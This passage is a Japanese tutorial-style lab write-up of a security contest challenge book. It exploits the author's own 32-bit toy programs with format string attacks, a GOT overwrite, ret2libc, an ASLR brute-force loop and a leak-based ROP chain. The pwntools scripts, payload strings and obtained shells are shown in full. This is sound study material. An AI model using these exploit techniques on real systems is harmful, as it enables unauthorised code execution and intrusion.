0x08048530 <+115>: je 0x8048537 <main+122>
0x08048532 <+117>: call 0x8048390 <__stack_chk_fail@plt>
0x08048537 <+122>: leave
0x08048538 <+123>: ret
End of assembler dump.
では、ようやく任意のアドレスのデータを読み取る方法です。7番目の %p に、AAAA
が入ることが分かったので、ここに読み出したいアドレスを設定し、%p を %s にすると、対象の 4byte が読み出せます。
今回は、変数secret の値を読み出すので、変数secretのアドレスを調べます。
$ nm fsb | grep secret
0804a028 D secret
では、やってみます。
バイナリなので、文字化けしてしまいました。hexdumpコマンドに結果を渡して表示してみます。アドレスの 35 から 4byte に、secret の値が入っています(78 56 34 12)。無事に読み出せたようです。
$ echo -e '\x28\xa0\x04\x08%p,%p,%p,%p,%p,%p,%s,%p,%p' | ./fsb
(0x80,0xf7e1d620,0xffffd4a4,0xf7ffcff4,0x2c,(nil),xV4 已・0x252c7025,0x70252c70
secret = 0x12345678
$ echo -e '\x28\xa0\x04\x08%p,%p,%p,%p,%p,%p,%s,%p,%p' | ./fsb | hexdump -C
00000000 28 a0 04 08 30 78 38 30 2c 30 78 66 37 65 31 64 |(...0x80,0xf7e1d|
00000010 36 32 30 2c 30 78 66 66 66 66 64 34 61 34 2c 30 |620,0xffffd4a4,0|
00000020 78 66 37 66 66 63 66 66 34 2c 30 78 32 63 2c 28 |xf7ffcff4,0x2c,(|
00000030 6e 69 6c 29 2c 78 56 34 12 20 d6 e1 f7 2c 30 78 |nil),xV4. ...,0x|
00000040 32 35 32 63 37 30 32 35 2c 30 78 37 30 32 35 32 |252c7025,0x70252|
00000050 63 37 30 0a 73 65 63 72 65 74 20 3d 20 30 78 31 |c70.secret = 0x1|
00000060 32 33 34 35 36 37 38 0a |2345678.|
00000068
%p をたくさん並べなくても、7番目だけ指定する方法があります。ダイレクトパラメータアクセスという方法で、%n$s
のような書き方です(全ての処理系で使えるわけではないかもしれません)。では、やってみます。
アドレス 4 からが、secret の値です。
$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb | hexdump -C
00000000 28 a0 04 08 78 56 34 12 20 d6 e1 f7 0a 73 65 63 |(...xV4. ....sec|
00000010 72 65 74 20 3d 20 30 78 31 32 33 34 35 36 37 38 |ret = 0x12345678|
00000020 0a |.|
00000021
以上が、任意のアドレスのデータの読み込みでした。
書式文字列攻撃:任意のアドレスにデータを書き込む
次は、任意のアドレスにデータを書き込む方法です。先ほどの printf関数で指定した %n$s
と似た方法で、%n$n
を指定すると、そのときまでに printf関数が出力したバイト数を書き込んでくれるというものです。
簡単なプログラムで確認します。変数 num に、そのときまでに、printf関数が出力したバイト数(6byte)を、num に書き込んでくれます。一応、その後、num の値を確認しています。
#include <stdio.h>
int main( int argc, void *argv[] )
{
unsigned int num = 0;
printf( "123456%n\n", &num );
printf( "%d\n", num );
}
では、実行してみます。
期待通り、6byte の 6 が出力されました。
$ gcc -o percent_n.out percent_n.c
$ ./percent_n.out
123456
6
この要領で、fsb の方もやってみます。先ほど、%7$s
を指定したところを、%7$n
に変更して実行してみます。
secret は 0x12345678 のはずですが、%7$n
によって、それまで表示したバイト数の 4 が書き込まれています。つまり、最初の 4byte で指定したアドレス \x28\xa0\x04\x08
に、任意の値を書き込むことが出来ました。一応、8 を書き込むパターンも追加しておきます。
$ echo -e '\x28\xa0\x04\x08%7$n' | ./fsb
(
secret = 0x4
$ echo -e '\x28\xa0\x04\x08AAAA%7$n' | ./fsb
(AAAA
secret = 0x8
これを使うと、4byte の任意の整数の値を書き込むことが出来ますが、4byte は、0 から 4,294,967,295 の値が入るので、任意の値と言っても、大きい値の場合は、指定する文字数がえらいことになります。
%n の 2byte版の %hn、1byte版の %hhn が用意されています。
一応、簡単なプログラムで確認します。
#include <stdio.h>
int main( int argc, void *argv[] )
{
unsigned char hhn = 0;
unsigned short hn = 0;
unsigned int n = 0;
printf( "123%hhn\n", &hhn );
printf( "123456%hn\n", &hn );
printf( "12345678%n\n", &n );
printf( "%d\n", hhn );
printf( "%d\n", hn );
printf( "%d\n", n );
}
実行してみます。
$ gcc -o percent_hn_hhn.out percent_hn_hhn.c
$ ./percent_hn_hhn.out
123
123456
12345678
3
6
8
書式文字列攻撃:GOT領域を書き換えて、system関数を使ってシェルを取る
ステップ4 もようやく最後になりました。書式文字列攻撃を使って、有名な GOT overwrite をやっていきます。まず、ここで使用するソースコードです。
GOT領域には共有ライブラリのアドレスが格納されたテーブルです。system関数は、文字列の引数が 1つです。1回目の printf関数で、書式文字列攻撃を行い、GOT領域の strlen関数を system関数に書き換えます。2回目の printf関数の引数の strlen関数は、system関数に置き換わってるはずなので、2回目の fgets関数には system関数の引数として /bin/sh
を与えます。これにより、シェルを取ることができます。
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char str[128];
fgets(str, 128, stdin);
printf(str);
fgets(str, 128, stdin);
printf("%d\n", strlen(str));
return 0;
}
今回も、ASLR は無効な状態でやります。GOT領域の表示して、strlen関数のアドレスを調べます。readelfコマンドを使います。readelfコマンドは、rオプションでリロケーション情報を表示できます。strlen関数のアドレスは、0x0804a01c
です。
$ readelf -r got
Relocation section '.rel.dyn' at offset 0x31c contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000406 R_386_GLOB_DAT 00000000 __gmon_start__
0804a02c 00000805 R_386_COPY 0804a02c stdin@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x32c contains 6 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 fgets@GLIBC_2.0
0804a014 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
0804a018 00000407 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a01c 00000507 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804a020 00000607 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
system関数のアドレスを調べます。0xf7c4c8c0
でした。
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7c4c8c0 <system>
1回目の printf関数で書式文字列攻撃を行うので、何番目の引数かを調べます。
今回も 7番目の引数でした。
$ echo 'AAAA%p,%p,%p,%p,%p,%p,%p,%p' | ./got
AAAA0x80,0xf7e1d620,0xffffd4a4,0xf7ffcff4,0x2c,(nil),0x41414141,0x252c7025
28
GOT領域の strlen関数のところに書き込みたい値は、system関数のアドレスであり、0xf7c4c8c0
です。これを実現するには、printf関数として、0xf7c4c8c0=4,156,868,800
個の文字を出力させなければなりません。ちょっと多いので、0xf7c4
と 0xc8c0
の 2byteずつに分けます(リトルエンディアンなので、0xc8c0
→ 0xf7c4
の順です)。
printf関数の 7番目の引数に %7$hn
、8番目の引数に %8$hn
を指定して、プログラムに入力する内容の先頭は、0x0804a01c
と 0x0804a01e
とします。この 2つで 8文字出力してるので、0xc8c0=51,392
から 8文字引いた文字数を出力します(51,384文字)。出力する方法は、%51384x
とすれば空白がたくさん出力できます。
0xf7c4=63,428
の方は、8文字+51,384文字出力してるので、63,428-8-51,384=12,036
文字出力すればいいことになります。これらを踏まえると、次のように実行します。
出来ました!シェルでコマンドが実行できてます!
$ (echo -e '\x1c\xa0\x04\x08\x1e\xa0\x04\x08%51384x%7$hn%12036x%8$hn\n/bin/sh'; cat) | ./got
(大量の空白)
ls
fsb fsb.c got got.c peda-session-fsb.txt peda-session-got.txt
exit
0
exit
ようやく、ステップ4 が終わりました。
ステップ5:pwn!pwn!pwn!
ステップ5 では、ASLR の回避方法を学びます。2つの方法があり、1つ目は、アドレスがランダムになると言っても、32bitだと範囲が限られるため、1つのアドレスを決め打ちして、そのアドレスになるまで繰り返す方法です(ブルートフォース)。
2つ目の方法は、GOT領域に格納されている libc の関数のアドレスを獲得して、libc 内の別の関数との相対的なアドレス位置は変わらないので、所望の関数とのアドレスを計算して求める方法です。
では、順番にやっていきます。
ASLRの回避:ブルートフォース
まず、無効にしていた ASLR を有効に戻します。
$ sudo su
kernel.randomize_va_space = 2
2
exit
次に、ASLR の挙動を lddコマンドを使って、確かめます(指定するプログラムは何でもいいです)。
うーん?libc のアドレスが固定されています。
$ ldd got
linux-gate.so.1 (0xf7f2b000)
libc.so.6 => /lib32/libc.so.6 (0xf7c00000)
/lib/ld-linux.so.2 (0xf7f2d000)
$ ldd got
linux-gate.so.1 (0xf7f0d000)
libc.so.6 => /lib32/libc.so.6 (0xf7c00000)
/lib/ld-linux.so.2 (0xf7f0f000)
$ ldd got
linux-gate.so.1 (0xf7f64000)
libc.so.6 => /lib32/libc.so.6 (0xf7c00000)
/lib/ld-linux.so.2 (0xf7f66000)
以前、checksec を調べた以下の記事で、自分で作ったプログラムを動かしてみます。
daisuke20240310.hatenablog.com
ちょっと余計なコードもありますが、自分のプログラムのアドレス(main関数のアドレス)、スタックのアドレス(buf)、ヒープのアドレス(malloc関数で確保した mbuf のアドレス)、libc のアドレス(malloc関数のアドレス)を表示しています。
#include <stdio.h>
#include <stdlib.h>
int sub( int data )
{
int data2;
printf( "input data2: " );
scanf( "%d", &data2 );
return data + data2;
}
int main( int argc, void *argv[] )
{
int ret, data;
char buf[20], *mbuf;
mbuf = malloc( 20 );
printf( " main: %p\n", main );
printf( " buf: %p\n", buf );
printf( " mbuf: %p\n", mbuf );
printf( "malloc: %p\n", malloc );
printf( "input data: " );
scanf( "%d", &data );
ret = sub( data );
printf( "result: %d", ret );
if( ret > 0 )
return 0;
else
return 1;
}
実行してみます。
これを見ると、どれも ASLR が効いてるように見えます。以前、どこかの書籍で、ldd のアドレスは正しくないことがある、というような内容を見たことがあります。ASLR は有効になっていると信じて先に進みます。
$ ./hello_hello.out
main: 0x55efc560e18d
buf: 0x7ffd448f6830
mbuf: 0x55efc63782a0
malloc: 0x7f9ab00c4870
input data: 1
input data2: 2
result: 3
$ ./hello_hello.out
main: 0x5613c8a2e18d
buf: 0x7ffc7db4a470
mbuf: 0x5613ca6be2a0
malloc: 0x7f9692f3a870
input data: 2
input data2: 3
result: 5
$ ./hello_hello.out
main: 0x55a2e557518d
buf: 0x7ffe5c6213f0
mbuf: 0x55a2e73562a0
malloc: 0x7f9c7921e870
input data: 4
input data2: 5
result: 9
書籍には、32bitプログラムの場合と、64bitプログラムの場合で、ランダム化されるアドレスのビット数が、以下のように、書かれています。
領域 |
32bit |
64bit |
スタック領域 |
11bit |
20bit |
mmap領域 |
8bit |
28bit |
ヒープ領域 |
13bit |
13bit |
これらが、何に依存して決まっているのかの説明はありません。また、分かり次第、ここに追記するか、別の記事で書こうと思います。
共有ライブラリは、mmap を用いてメモリ上に配置されるとのことなので、32bit環境では、8bit(256通り)のランダム化しかできないことになります。では、実際に試して、ブルートフォースな ASLR の回避が可能なのかを確認します。
今回使用するプログラムです。
write関数で、1(標準出力)に出力してるので、第2引数の msg のアドレスから、第3引数のバイト数だけコンソールに出力されることになります。read関数は、0(標準入力)から、配列変数 buf に、最大 128byteを入力として受け付けます。ここでバッファオーバーフローが起こせます。
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char msg[] = "Hello\n";
char buf[32];
write(1, msg, strlen(msg));
read(0, buf, 128);
return 0;
}
攻撃のシナリオとしては、main関数のリターンアドレスを、system関数に書き換えてシェルを取りに行きます。
これまでは、ASLR が無効だったので、libc のアドレスが固定だったので、あらかじめ system関数のアドレスを調べておけば攻撃が成功しました。ASLR が有効になると、system関数のアドレスが分からなくなるのですが、1つの候補を設定して、何回も攻撃すれば、いつか成功するはず、というのがブルートフォースな ASLR の回避方法です。
あと、書籍に紹介がありますが、libc には、"/bin/sh" という文字列が存在しているそうです。よって、わざわざ、"/bin/sh" を用意しなくても大丈夫です。確認してみます。
確かに存在してました。-t は発見した文字列の先頭からのオフセットを出力してくれるオプションです。x は、それを16進数で出力するという意味です。"/bin/sh" の libc内の相対アドレスは、0x001b5faa
ということが分かりました。
$ strings -tx /lib32/libc.so.6 | grep /bin/sh
1b5faa /bin/sh
あとは、同じ libc 内の system関数のアドレスを調べます。nmコマンドに Dオプションを付けると、動的シンボルテーブルを表示してくれます。nmコマンドに Dオプションを付けない場合は静的シンボルテーブルを表示します。ただし、strip された場合は、静的シンボルテーブルは削除されるので、Dオプションを付けて動的シンボルテーブルを表示する必要があるようです。
system関数のlibc内の相対アドレスは 0x0004c8c0
だと分かりました。
$ nm -D /lib32/libc.so.6 | grep system
0004c8c0 T __libc_system@@GLIBC_PRIVATE
00160fd0 T svcerr_systemerr@GLIBC_2.0
0004c8c0 W system@@GLIBC_2.0
先ほどの lddコマンドで、libc のアドレスのうち、1つ(なぜか全部一緒でしたが、、)は分かっているので、これらの相対アドレスを使えば、リターンアドレスを system関数に書き換えることが出来ます。system関数のアドレスは、0xf7c00000+0x0004c8c0=0xF7C4C8C0
で、"/bin/sh" のアドレスは、0xf7c00000+0x001b5faa=0xF7DB5FAA
です。
あとは、リターンアドレスの位置を調べます。まずは、簡単に実行してみます。
32byte の buf に、40byte書き込むと問題ないですが、128byte書き込むと、セグメンテーションフォールトが発生します。まだ確認してないですが、大きくバッファオーバーフローすると、リターンアドレスが書き換わって、変なところに飛ぶので、セグメンテーションフォールトが起きるということでしょうか。
$ ./bof4
Hello
a
$ python -c 'print("A" * 40)' | ./bof4
Hello
$ python -c 'print("A" * 128)' | ./bof4
Hello
Segmentation fault
GDB で確認してみます。
スタックを 64byte 確保して、確保した領域の末尾に、"Hello\n" を格納します。そのアドレスを引数としてスタックに積んで、strlen関数を呼び出します。戻り値を第3引数のスタックの位置に積みます。残りの引数をスタックに積んで、write関数を呼び出します。次の read関数の引数をスタックに積んで、read関数を呼び出して、main関数が終了します。
$ gdb -q bof4
gdb-peda$ start
gdb-peda$ disas
Dump of assembler code for function main:
0x0804847d <+0>: push ebp
0x0804847e <+1>: mov ebp,esp
=> 0x08048480 <+3>: and esp,0xfffffff0
0x08048483 <+6>: sub esp,0x40
0x08048486 <+9>: mov DWORD PTR [esp+0x39],0x6c6c6548
0x0804848e <+17>: mov WORD PTR [esp+0x3d],0xa6f
0x08048495 <+24>: mov BYTE PTR [esp+0x3f],0x0
0x0804849a <+29>: lea eax,[esp+0x39]
0x0804849e <+33>: mov DWORD PTR [esp],eax
0x080484a1 <+36>: call 0x8048350 <strlen@plt>
0x080484a6 <+41>: mov DWORD PTR [esp+0x8],eax
0x080484aa <+45>: lea eax,[esp+0x39]
0x080484ae <+49>: mov DWORD PTR [esp+0x4],eax
0x080484b2 <+53>: mov DWORD PTR [esp],0x1
0x080484b9 <+60>: call 0x8048370 <write@plt>
0x080484be <+65>: mov DWORD PTR [esp+0x8],0x80
0x080484c6 <+73>: lea eax,[esp+0x19]
0x080484ca <+77>: mov DWORD PTR [esp+0x4],eax
0x080484ce <+81>: mov DWORD PTR [esp],0x0
0x080484d5 <+88>: call 0x8048330 <read@plt>
0x080484da <+93>: mov eax,0x0
0x080484df <+98>: leave
0x080484e0 <+99>: ret
End of assembler dump.
32byte の変数 buf は、64byte 確保したスタックのうちのオフセット 0x19(25)が開始アドレスです。スタックが 64-25=39byte で、ebp の 4byte があって、リターンアドレスがあるはずです。39+4=43byte
を超えて書き込んだら、リターンアドレスが壊れます。
GDB で見たところ、+3 の and esp,0xfffffff0
の 16byteアライメントのところで、最下位の 4bit が 8 でした。なので、ここで、さらに、8byte の余裕があります。よって、43+8=51byte
を超えて書き込んだら、リターンアドレスが壊れます。
確かに、40byte ではセグメンテーションフォールトが出なくて、128byteだとセグメンテーションフォールトが出る理由が分かりました。
続いて、pattern_create(pattc)と patto でも、同じことを確認してみます。
同じく 51 が出力されました。
$ gdb -q bof4
gdb-peda$ pattc 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r
Starting program: /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step5/aslr/bof4
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7e1cff4 --> 0x21cd8c
ECX: 0xffffd2e9 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\n\377\377@\323\377\377\364\317\341\367}\204\004\b\001")
EDX: 0x80
ESI: 0x80484f0 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x41416241 ('AbAA')
ESP: 0xffffd320 ("AAcAA2AAH\n\377\377@\323\377\377\364\317\341\367}\204\004\b\001")
EIP: 0x47414131 ('1AAG')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x47414131
[------------------------------------stack-------------------------------------]
0000| 0xffffd320 ("AAcAA2AAH\n\377\377@\323\377\377\364\317\341\367}\204\004\b\001")
0004| 0xffffd324 ("A2AAH\n\377\377@\323\377\377\364\317\341\367}\204\004\b\001")
0008| 0xffffd328 --> 0xffff0a48 --> 0x0
0012| 0xffffd32c --> 0xffffd340 --> 0xf7e1cff4 --> 0x21cd8c
0016| 0xffffd330 --> 0xf7e1cff4 --> 0x21cd8c
0020| 0xffffd334 --> 0x804847d (<main>: push ebp)
0024| 0xffffd338 --> 0x1
0028| 0xffffd33c --> 0xffffd3d4 --> 0xffffd521 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step5/aslr/bof4")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x47414131 in ?? ()
gdb-peda$ patto 1AAG
1AAG found at offset: 51
攻撃をやってみます。書籍では、いきなりスクリプトで実行してみますが、まずは今まで通り、コマンドを打ってやってみます。
51個の A
を与えて、system関数のアドレス、system関数のリターンアドレスは何でもいいので BBBB
、引数の "/bin/sh" のアドレスを与えればいいはずです。
うまくいきました!けど、3回やって、3回ともうまくいきます。ASLR が効いていない気がしますが、先に進みます。
$ python -c 'print("A" * 51)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ (echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xC0\xC8\xC4\xF7BBBB\xAA\x
5F\xDB\xF7'; cat) | ./bof4
Hello
ls
aslr.py bof4 bruteforce.py peda-session-bof4.txt pwnable.log
atk.bin bof4.c leak.py peda-session-dash.txt
exit
exit
Segmentation fault
では、Pythonスクリプトを実装します。書籍では、pwntools を紹介しているのに、テンプレートを用意していて、それを書き換えて実装していますが、ここでは pwntools を使って実装します。
socatコマンドを使ってリモートアクセスするので、そのように実装しています。ポート番号は何でもいいので、4000番になっています。
まず、上と同じようにリターンアドレスの書き換えを実行して、シェルが取れてたら、idコマンドの結果が返ってくるので終了します。シェルが取れてなかったら、最初からやり直すという実装になっています。
import os, sys
from pwn import *
def prologue_remote( adrs, port ):
proc = remote( adrs, port )
print( proc.recv(timeout=1) )
return proc
def overwrite_ret_adrs( proc, cnt, adrs, to=1, dmy=b'\x41' ):
ss = dmy * cnt + adrs
print( ss )
proc.sendline( ss )
print( proc.recv(timeout=to) )
while True:
proc = prologue_remote( '127.0.0.1', 4000 )
adrs = b''
adrs += p32( 0xF7C4C8C0 )
adrs += p32( 0x42424242 )
adrs += p32( 0xF7DB5FAA )
overwrite_ret_adrs( proc, 51, adrs, to=0.1 )
proc.sendline( b'id\nexit' )
result = proc.recv( timeout=0.1 )
if len(result) > 0:
print( result )
break
では、実行してみます。
事前に、socatコマンドで、bof4 を起動しておきます。
$ socat TCP-LISTEN:4000,reuseaddr,fork EXEC:./bof4
1回目でうまくいきました。何回やっても、1回でうまくいきます。つまり、libc のアドレスは固定なんだと思います。うーん、少し残念ですが、仕方ありません。
$ python ../../../../python/tmp.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
b'Hello\n'
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\xc8\xc4\xf7BBBB\xaa_\xdb\xf7'
b''
b'uid=1000(user) gid=1000(user) groups=1000(user),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),106(netdev),113(lpadmin),114(bluetooth),121(scanner)\n'
[*] Closed connection to 127.0.0.1 port 4000
ASLR の回避方法として、ブルートフォースを使った方法については以上になります。
ASLRの回避:アドレスリーク
ここでも、プログラムは、同じ bof4 を使います。bof4 には、GOT領域が存在し、そこには、libc のアドレスが格納されています。このアドレスが分かれば、libc内の相対的な位置関係は変わらないので、system関数のアドレスが計算できます。
書籍では、GOT領域の __libc_start_main関数をターゲットにしています。ret2plt を使い、main関数のリターンアドレスの書き換えで、write@plt にジャンプさせます。write関数の引数として、__libc_start_main関数の GOT領域を指定して、__libc_start_main関数の絶対アドレスを標準出力に出力させます。
実際に必要なのは、system関数の絶対アドレスです。そのために、libc内の相対アドレスを取得しておきます。以下で、__libc_start_main関数の libc内の相対アドレスは 0x00023310
で、system関数の libc内の相対アドレスは 0x0004c8c0
であることが分かります。
__libc_start_main関数の絶対アドレスから、__libc_start_main関数の相対アドレスを引くと、libc の先頭アドレスが求まります。それに、system関数の相対アドレスを足せば、system関数の絶対アドレスが求まります。
$ nm -D /lib32/libc.so.6 | grep libc_start_main
00023310 T __libc_start_main@@GLIBC_2.34
00023310 T __libc_start_main@GLIBC_2.0
$ nm -D /lib32/libc.so.6 | grep system
0004c8c0 T __libc_system@@GLIBC_PRIVATE
00160fd0 T svcerr_systemerr@GLIBC_2.0
0004c8c0 W system@@GLIBC_2.0
ここで、少し疑問があります。__libc_start_main関数の GOT領域は、書き込み可能なのか、ということです。まず、checksec を実行してみます。
RELRO は、Partial になっています。GOT領域は、書き込み可能なものと、書き込み不可のものの両方を含んでいることになります。
$ checksec --file=bof4
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69 Symbols No 0 1 bof4
続いて、リロケーション情報を見てみます。GOT領域の詳細が分かりました。
$ readelf -r bof4
Relocation section '.rel.dyn' at offset 0x2c4 contains 1 entry:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x2cc contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a014 00000307 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804a018 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000507 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
GDB で、メモリマップを表示します。0x804a000 から書き込み可能です。つまり、上の GOT領域のうち、__gmon_start__
以外(__libc_start_main関数も書き込み可能)は、書き込み可能な GOT領域ということが確認できました。
gdb-peda$ i proc map
process 2261
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x8048000 0x8049000 0x1000 0x0 r-xp /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step5/aslr/bof4
0x8049000 0x804a000 0x1000 0x0 r--p /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step5/aslr/bof4
0x804a000 0x804b000 0x1000 0x1000 rw-p /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step5/aslr/bof4
0xf7c00000 0xf7c22000 0x22000 0x0 r--p /usr/lib32/libc.so.6
0xf7c22000 0xf7d9b000 0x179000 0x22000 r-xp /usr/lib32/libc.so.6
0xf7d9b000 0xf7e1b000 0x80000 0x19b000 r--p /usr/lib32/libc.so.6
0xf7e1b000 0xf7e1d000 0x2000 0x21b000 r--p /usr/lib32/libc.so.6
0xf7e1d000 0xf7e1e000 0x1000 0x21d000 rw-p /usr/lib32/libc.so.6
0xf7e1e000 0xf7e28000 0xa000 0x0 rw-p
0xf7fc1000 0xf7fc3000 0x2000 0x0 rw-p
0xf7fc3000 0xf7fc7000 0x4000 0x0 r--p [vvar]
0xf7fc7000 0xf7fc9000 0x2000 0x0 r-xp [vdso]
0xf7fc9000 0xf7fca000 0x1000 0x0 r--p /usr/lib32/ld-linux.so.2
0xf7fca000 0xf7fed000 0x23000 0x1000 r-xp /usr/lib32/ld-linux.so.2
0xf7fed000 0xf7ffb000 0xe000 0x24000 r--p /usr/lib32/ld-linux.so.2
0xf7ffb000 0xf7ffd000 0x2000 0x31000 r--p /usr/lib32/ld-linux.so.2
0xf7ffd000 0xf7ffe000 0x1000 0x33000 rw-p /usr/lib32/ld-linux.so.2
0xfffdd000 0xffffe000 0x21000 0x0 rw-p [stack]
libc のアドレスは実行するたびに変わってしまいます。よって、system関数の絶対アドレスを計算した後に、プログラムを終了せずに、続けて、その system関数を呼び出す必要があります。ret2plt で write関数を呼び出した後、先ほど「ret2plt、ret2libcの後にもう1回関数を呼ぶ(popret gadget)」でやったように、write関数のリターンアドレスを設定することで、処理を続行させます。
write関数のリターンアドレスには、read@plt を設定します。read関数を使って、__libc_start_main関数の GOT領域に、system関数の絶対アドレスを書き込みます(GOT overwrite)。read関数のリターンアドレスに、__libc_start_main@plt を指定し、__libc_start_main関数を実行させると、system関数が実行されるという流れです。
必要なアドレスを取得します。write@plt は 0x08048370
、read@plt は 0x08048330
、__libc_start_main@plt は 0x08048360
であることが分かりました。また、__libc_start_main関数の GOT領域は、0x0804a018
であることが分かりました。
$ objdump -M intel -d -j .plt bof4
bof4: file format elf32-i386
Disassembly of section .plt:
08048320 <.plt>:
8048320: ff 35 04 a0 04 08 push DWORD PTR ds:0x804a004
8048326: ff 25 08 a0 04 08 jmp DWORD PTR ds:0x804a008
804832c: 00 00 add BYTE PTR [eax],al
...
08048330 <read@plt>:
8048330: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c
8048336: 68 00 00 00 00 push 0x0
804833b: e9 e0 ff ff ff jmp 8048320 <.plt>
08048340 <__gmon_start__@plt>:
8048340: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010
8048346: 68 08 00 00 00 push 0x8
804834b: e9 d0 ff ff ff jmp 8048320 <.plt>
08048350 <strlen@plt>:
8048350: ff 25 14 a0 04 08 jmp DWORD PTR ds:0x804a014
8048356: 68 10 00 00 00 push 0x10
804835b: e9 c0 ff ff ff jmp 8048320 <.plt>
08048360 <__libc_start_main@plt>:
8048360: ff 25 18 a0 04 08 jmp DWORD PTR ds:0x804a018
8048366: 68 18 00 00 00 push 0x18
804836b: e9 b0 ff ff ff jmp 8048320 <.plt>
08048370 <write@plt>:
8048370: ff 25 1c a0 04 08 jmp DWORD PTR ds:0x804a01c
8048376: 68 20 00 00 00 push 0x20
804837b: e9 a0 ff ff ff jmp 8048320 <.plt>
あとは、引数の調整を行う必要があります。write関数と read関数はともに 3つの引数を取るので、ropgadget で、pop3ret を探しておく必要があります。
無事に、pop3ret が見つかりました。
$ gdb -q bof4
gdb-peda$ start
gdb-peda$ ropgadget
ret = 0x80482fe
popret = 0x8048315
pop2ret = 0x804854e
pop3ret = 0x804854d
pop4ret = 0x804854c
addesp_12 = 0x8048312
addesp_44 = 0x8048549
では、今回も、pwntools を使って実装していきます。
prologue_remote() では、コネクションを張って、Hello を受け取ります。その後、ropchain をスタックオーバーフローでスタックに書き込みます。
bof4 では、main関数が終わり、リターンアドレスで write@plt に進み、__libc_start_main@got のアドレスを出力し、read@plt で入力待ちになります。
Python の方では、受け取った __libc_start_main@got のアドレスから、system関数のアドレスを計算して、system関数のアドレスと引数の '/bin/sh' を送信します。
bof4 では、read で受け取ったデータを __libc_start_main@got に書き込みます。ここが少し難しくて、GOT領域にはアドレスを書き込み、その直後に '/bin/sh' を書いています。よって、引数には GOT領域 + 4 のアドレスを指定しています。最後に、__libc_start_main@plt に飛ぶと、system関数のアドレスに置き換わっているので、シェルが起動します。
import os, sys
from pwn import *
def prologue_remote( adrs, port ):
proc = remote( adrs, port )
print( proc.recv(timeout=1) )
return proc
def overwrite_ret_adrs( proc, cnt, adrs, to=1, dmy=b'\x41' ):
ss = dmy * cnt + adrs
print( ss )
proc.sendline( ss )
ret = proc.recv( timeout=to )
print( ret )
return ret
proc = prologue_remote( '127.0.0.1', 4000 )
ropchain = b''
ropchain += p32( 0x08048370 )
ropchain += p32( 0x0804854d )
ropchain += p32( 1 )
ropchain += p32( 0x0804a018 )
ropchain += p32( 4 )
ropchain += p32( 0x08048330 )
ropchain += p32( 0x0804854d )
ropchain += p32( 0 )
ropchain += p32( 0x0804a018 )
ropchain += p32( 20 )
ropchain += p32( 0x08048360 )
ropchain += p32( 0x42424242 )
ropchain += p32( 0x0804a018 + 4 )
ret = overwrite_ret_adrs( proc, 51, ropchain )
print( f"ret={ret}, len(ret)={len(ret)}" )
libc_base = u32(ret) - 0x00023310
libc_system = p32(libc_base + 0x0004c8c0)
proc.send( libc_system + b'/bin/sh\0' )
proc.interactive()
実行してみます。
無事にシェルが起動しました。
$ python ../../../../python/tmp.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
b'Hello\n'
